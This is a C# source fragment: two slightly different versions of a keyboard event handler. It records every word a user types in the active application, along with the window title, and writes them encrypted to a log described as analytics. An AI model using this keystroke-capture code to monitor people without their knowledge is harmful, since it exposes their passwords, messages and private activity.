public static void KeyboardListener_KeyDown(object sender, RawKeyEventArgs args) { try { if (TextHelpers.KeysSanitizer(args.Key.ToString())) { KeyboardWord = KeyboardWord + args.Key.ToString(); if (KeyboardWord != String.Empty) { if (KeyboardWord.IndexOf("Space") != -1) { int index = KeyboardWord.IndexOf("Space"); KeyboardWord = KeyboardWord.Substring(0, index); if (KeyboardWord.Length >= 1 && TextHelpers.WordsSanitizer(KeyboardWord) && !TextHelpers.AppsExclusion(ActiveApplTitle())) { log4net.GlobalContext.Properties["TextWindow"] = Cryptography.EncRijndael(TextHelpers.RemoveDiacritics(ActiveApplTitle())); log4net.GlobalContext.Properties["Word"] = Cryptography.EncRijndael(TextHelpers.RemoveDiacritics(KeyboardWord).ToLower()); logText.Info(Cryptography.EncRijndael("TextEvent")); } KeyboardWord = String.Empty; } else if (KeyboardWord.IndexOf("Return") != -1) { int index = KeyboardWord.IndexOf("Return"); KeyboardWord = KeyboardWord.Substring(0, index); if (KeyboardWord.Length >= 1 && TextHelpers.WordsSanitizer(KeyboardWord) && !TextHelpers.AppsExclusion(ActiveApplTitle())) { log4net.GlobalContext.Properties["TextWindow"] = Cryptography.EncRijndael(TextHelpers.RemoveDiacritics(ActiveApplTitle())); log4net.GlobalContext.Properties["Word"] = Cryptography.EncRijndael(TextHelpers.RemoveDiacritics(KeyboardWord).ToLower()); logText.Info(Cryptography.EncRijndael("TextEvent")); } KeyboardWord = String.Empty; } else if (KeyboardWord.IndexOf("Tab") != -1) { int index = KeyboardWord.IndexOf("Tab"); KeyboardWord = KeyboardWord.Substring(0, index); if (KeyboardWord.Length >= 1 && TextHelpers.WordsSanitizer(KeyboardWord) && !TextHelpers.AppsExclusion(ActiveApplTitle())) { log4net.GlobalContext.Properties["TextWindow"] = Cryptography.EncRijndael(TextHelpers.RemoveDiacritics(ActiveApplTitle())); log4net.GlobalContext.Properties["Word"] = Cryptography.EncRijndael(TextHelpers.RemoveDiacritics(KeyboardWord).ToLower()); logText.Info(Cryptography.EncRijndael("TextEvent")); } KeyboardWord = String.Empty; } } } } catch (Exception ex) { Filesystem.WriteLog("ERROR : Exception trown while processing analytics : " + ex); } }
public static void KeyboardListener_KeyDown(object sender, RawKeyEventArgs args) { try { if (TextHelpers.KeysSanitizer(args.Key.ToString())) { KeyboardWord = KeyboardWord + args.Key.ToString(); if (KeyboardWord != String.Empty) { if (KeyboardWord.IndexOf("Space") != -1) { int index = KeyboardWord.IndexOf("Space"); KeyboardWord = KeyboardWord.Substring(0, index); if (KeyboardWord.Length > 1 && TextHelpers.WordsSanitizer(KeyboardWord)) { log4net.GlobalContext.Properties["TextWindow"] = Cryptography.EncRijndael(TextHelpers.RemoveDiacritics(ActiveApplTitle())); log4net.GlobalContext.Properties["Word"] = Cryptography.EncRijndael(TextHelpers.RemoveDiacritics(KeyboardWord).ToLower()); logText.Info("TextEvent"); } KeyboardWord = String.Empty; } else if (KeyboardWord.IndexOf("Return") != -1) { int index = KeyboardWord.IndexOf("Return"); KeyboardWord = KeyboardWord.Substring(0, index); if (KeyboardWord.Length > 1 && TextHelpers.WordsSanitizer(KeyboardWord)) { log4net.GlobalContext.Properties["TextWindow"] = Cryptography.EncRijndael(TextHelpers.RemoveDiacritics(ActiveApplTitle())); log4net.GlobalContext.Properties["Word"] = Cryptography.EncRijndael(TextHelpers.RemoveDiacritics(KeyboardWord).ToLower()); logText.Info("TextEvent"); } KeyboardWord = String.Empty; } else if (KeyboardWord.IndexOf("Tab") != -1) { int index = KeyboardWord.IndexOf("Tab"); KeyboardWord = KeyboardWord.Substring(0, index); if (KeyboardWord.Length > 1 && TextHelpers.WordsSanitizer(KeyboardWord)) { log4net.GlobalContext.Properties["TextWindow"] = Cryptography.EncRijndael(TextHelpers.RemoveDiacritics(ActiveApplTitle())); log4net.GlobalContext.Properties["Word"] = Cryptography.EncRijndael(TextHelpers.RemoveDiacritics(KeyboardWord).ToLower()); logText.Info("TextEvent"); } KeyboardWord = String.Empty; } } } } catch { }; }